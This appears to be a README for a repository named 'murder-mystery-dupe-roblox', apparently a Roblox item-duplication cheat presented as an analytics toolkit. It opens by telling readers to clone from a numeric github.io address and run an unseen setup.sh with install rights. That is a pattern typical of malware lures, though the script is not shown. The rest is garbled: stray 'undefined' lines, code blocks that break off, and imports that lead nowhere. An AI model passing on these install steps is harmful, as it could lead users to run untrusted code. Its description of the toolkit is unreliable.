git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --install

git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

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profile:
  username: "MyRobloxUsername"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
    - name: "stealth_murderer"
      priority: "shadow_movement"

{
  "language": "en",
  "date_format": "YYYY-MM-DD",
  "timezone": "UTC",
  "number_format": "en-US"
}

python3 main.py --mode analytics \
    --profile my_profile \
    --export statistics_2026.json \
    --format json \
    --verbose

[MURDER MYSTERY 2026] Initializing analytics engine...
[ANALYTICS] Loading profile: my_profile
[INVENTORY] Scanning for mm2-knife-skins... DONE (47 items found)
[STRATEGY] Analyzing mm2-strategy patterns... DONE
[EXPORT] Writing statistics_2026.json (1.2MB)
[FINISHED] Session complete. Duration: 3m 42s

python3 main.py --mode inventory \
    --scan \
    --filter legendary \
    --export inventory_report.csv

python3 main.py --mode strategy \
    --analyze-patterns \
    --role sheriff \
    --sessions 100

python3 main.py --mode live \
    --track \
    --interval 30 \
    --dashboard

from mm2_toolkit import InventoryManager, RarityFilter

undefined

from mm2_toolkit import AnalyticsEngine, MetricType

undefined

from mm2_toolkit import StrategyOptimizer, Role

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const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');

// Initialize managers
const inventory = new InventoryManager({
  profile: 'my_profile',
  dataDir: './data/collections'
});

const analytics = new AnalyticsEngine({
  profile: 'my_profile',
  trackingMode: 'comprehensive'
});

// Scan inventory
async function scanInventory() {
  const knifeSkins = await inventory.scanCategory('knife_skins', {
    rarity: ['legendary', 'ancient', 'godly']
  });
  
  console.log(`Found ${knifeSkins.length} knife skins`);
  
  // Export to JSON
  await inventory.export('inventory.json', {
    format: 'json',
    includeMetadata: true
  });
}

// Analyze gameplay
async function analyzeGameplay() {
  await analytics.loadSessions({ limit: 100 });
  
  const sheriffStats = analytics.getRoleStatistics('sheriff');
  console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
  
  // Create visualization
  await analytics.createChart({
    type: 'line',
    metric: 'win_rate_over_time',
    output: 'win_rate_chart.png'
  });
}

scanInventory();
analyzeGameplay();

from mm2_toolkit import DataExporter

exporter = DataExporter(profile="my_profile")

Output structure:
```json
{
  "profile": "my_profile",
  "export_date": "2026-05-16T21:56:49Z",
  "inventory": {
    "total_items": 47,
    "knife_skins": [...],
    "gamepasses": [...]
  },
  "gameplay_stats": {
    "total_sessions": 342,
    "win_rate": 0.68,
    "role_breakdown": {...}
  }
}

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from mm2_toolkit import BatchAnalyzer

analyzer = BatchAnalyzer()

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from mm2_toolkit import AIPredictionEngine

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from mm2_toolkit import Dashboard

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from mm2_toolkit import (
    InventoryManager,
    AnalyticsEngine,
    StrategyOptimizer,
    DataExporter
)

def complete_analysis(profile_name):
    # Step 1: Scan inventory
    inventory = InventoryManager(profile=profile_name)
    inventory.scan_all_categories()
    
    # Step 2: Load and analyze gameplay data
    analytics = AnalyticsEngine(profile=profile_name)
    analytics.load_sessions(limit=500)
    
    # Step 3: Calculate statistics
    overall_stats = analytics.get_overall_statistics()
    role_stats = {
        "sheriff": analytics.get_role_statistics("sheriff"),
        "murderer": analytics.get_role_statistics("murderer"),
        "innocent": analytics.get_role_statistics("innocent")
    }
    
    # Step 4: Get strategy recommendations
    optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
    recommendations = optimizer.get_all_recommendations()
    
    # Step 5: Export everything
    exporter = DataExporter(profile=profile_name)
    exporter.export_complete_report(
        filename=f"{profile_name}_report.json",
        include_inventory=True,
        include_analytics=True,
        include_recommendations=True
    )
    
    return {
        "inventory": inventory.get_summary(),
        "stats": overall_stats,
        "role_performance": role_stats,
        "recommendations": recommendations
    }

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**Issue: Data export fails**

```python
from mm2_toolkit import DataExporter, ExportFormat

exporter = DataExporter(profile="my_profile")

**Issue: Analytics engine returns no data**

```python
from mm2_toolkit import AnalyticsEngine

analytics = AnalyticsEngine(profile="my_profile")

**Issue: API rate limiting**

```python
from mm2_toolkit import AIPredictionEngine
import time

predictor = AIPredictionEngine(
    openai_key="${OPENAI_API_KEY}",
    rate_limit=True,  # Enable rate limiting
    requests_per_minute=10
)

undefined

from mm2_toolkit import AnalyticsEngine, CacheManager

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import logging
from mm2_toolkit import InventoryManager

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const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');

const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });

app.get('/api/stats', async (req, res) => {
  const stats = await analytics.getOverallStatistics();
  res.json(stats);
});

app.get('/api/inventory', async (req, res) => {
  const inventory = await analytics.getInventorySummary();
  res.json(inventory);
});

app.listen(3000, () => {
  console.log('API server running on port 3000');
});

from mm2_toolkit import DataExporter, ReportScheduler
import schedule

def generate_weekly_report():
    exporter = DataExporter(profile="my_profile")
    exporter.export_complete_report(
        filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
        include_charts=True
    )

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